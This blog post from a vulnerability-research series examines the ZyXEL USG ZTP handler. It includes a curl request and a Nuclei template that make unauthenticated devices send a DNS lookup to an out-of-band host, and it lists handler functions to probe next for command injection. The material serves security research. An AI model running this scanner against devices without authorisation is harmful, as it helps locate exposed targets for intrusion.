The Hunt for CVE-2023-28771 & Friends, Part 2: Fingerprinting ZTP.

This is a followup in an ongoing series of blog posts where I am trying to show the "full process", including mistakes/blind alleys, from a free-time vulnerability research project. You can find the first part here.

I ended up getting tired of staring at some of the worlds worst Python code (the ZTP handler) and decided it would be worthwhile to maybe write some code to remotely interact with it, to determine if a host has the new "auth check" added or not.

I figure this will be useful later, so I figured I'd find the simplest possible test case to enable me to fingerprint ZTP.

Looking at the command handler, the first, and simplest command available, is called "ping" and calls a function named "dosyncping".

    # Check request cmd is valid
    for cmd in supported_cmd:
        if cmd == req["command"]:
            validCMD = req["command"]
    if (len(validCMD)<=0) :
        logging.info("req: %s" % req)
        raise Exception("invalid req")

    # Command Execution Entry
    logging.info("command: %s" % req["command"])
    if req["command"] == "ping":
        if not "dest" in req:
            raise Exception("invalid req")
        reply = dosyncping(req)

The code of "dosyncping" is below, it takes an object "req" as its input, which we know from previous exploring is the json.dumps of whatever is sent in the POST body of the request.

We can specify an interface to send the ping via, and a destination to send the ping to. It will then use subprocess.Popen to call a ping binary and make a series of four ICMP ECHO requests.

def dosyncping(req):
    reply = {}
    ping = {}
    try:
        if not "interface" in req:
            cmd = subprocess.Popen([toolPath["ping"], "-n", "-c", "4", req["dest"]], \
                                    stderr=subprocess.PIPE, \
                                    stdout=subprocess.PIPE)
            logging.debug("via interface set as any")
        else:
            if TestMode:
                internal_name = req["interface"]
            else:
                internal_name = lib_cmd_interface.fn_external2internal_name(req["interface"])

            if req["interface"] == ("any") or \
               len(req["interface"]) == 0:
                cmd = subprocess.Popen([toolPath["ping"], "-n", "-c", "4", req["dest"]], \
                                        stderr=subprocess.PIPE, \
                                        stdout=subprocess.PIPE)
                logging.debug("via interface set as any")
            else:
                cmd = subprocess.Popen([toolPath["ping"], "-I", internal_name, "-n", "-c", "4", req["dest"]], \
                                        stderr=subprocess.PIPE, \
                                        stdout=subprocess.PIPE)
                logging.debug("via interface set as %s" %req["interface"])
        reply["stdout"] = cmd.stdout.read()
        reply["stderr"] = cmd.stderr.read()
        status = cmd.wait()
        if status != 0:
            ping["status"] = status
        reply["ping"] = ping
    except Exception as e:
        reply = {"error": 500, "exception": e}
    return reply

This is perfect. We can hit this with curl, and run tcpdump or something to see if we get some pings.

curl -v --insecure -H "Content-Type: application/json" -d '{"command":"ping","dest":"our-host"}' https://$ip/ztp/cgi-bin/handle

Or, even easier, we can write a Nuclei template and use the Interactsh OAST utility to automagically detect hosts.

id: zyxel-ztp-ping

info:
  name: Make a ZyXEL do a DNS lookup by asking it to make an ICMP request.
  author: dmartyn
  severity: medium
  tags: dns,oob

requests:
  - raw:
      - | # try resolve
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/json
        Connection: close

        {"command":"ping","dest":"{{interactsh-url}}"}


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

This scanner works - we can rapidly identify ZyXEL USG platforms with the "handler" functionality enabled, and without the auth check. This allows us to run "supported" commands without authentication on the targets.

But what can we do with those "supported commands"? Well, this is where I suspect we will find code execution. I guess my next step is to enumerate all functions we can call from requesting "handler", which was achieved with this command...

$ cat handler.py | grep "reply =" | grep req
        reply = dosyncping(req)
        reply = dosynctraceroute(req)
        reply = doasynctraceroute(req["dest"])
        reply = dosyncdnsquery(req)
        reply = dolistiptables(req["iptables"])
        reply = peektask(req["id"])
        reply = killtask(req["kill"]["id"], **req["kill"])
        reply = dosyncnslookup(req)
        reply = dosynciproget(req)
    #    reply = lib_cmd_interface.fn_getSingleInterfaceInfo(req)
        reply = dodiagnosticinfo(req)
        reply = donetworkutest(req)
    #    reply = doRemoteAssistActive(req)
        reply = lib_remote_assist.doZyxelSupport(req)
        reply = lib_wan_setting.setWanPortSt(req)
        reply = lib_wan_setting.showWanConnSt(req)
        reply = lib_usb_setting.setUSBmount(req)
        reply = lib_usb_setting.setUSBactive(req)
        reply = lib_cmd_pcap.dopacketcap(req)
        reply = lib_cmd_pcap.stopdopacketcap(req)
        reply = lib_cmd_pcap.deletepcapfile(req)
        reply = lib_cmd_language.setLanguage(req)

That is a fair few methods. We know setWanPortSt previously had a vulnerability, but that seems fixed now.

I guess the next step is to iterate over these methods, work out how to send the proper JSON to them, and see if commands can be injected.

Which, I guess, isn't the worst way to spend a couple of evenings.

Until next time...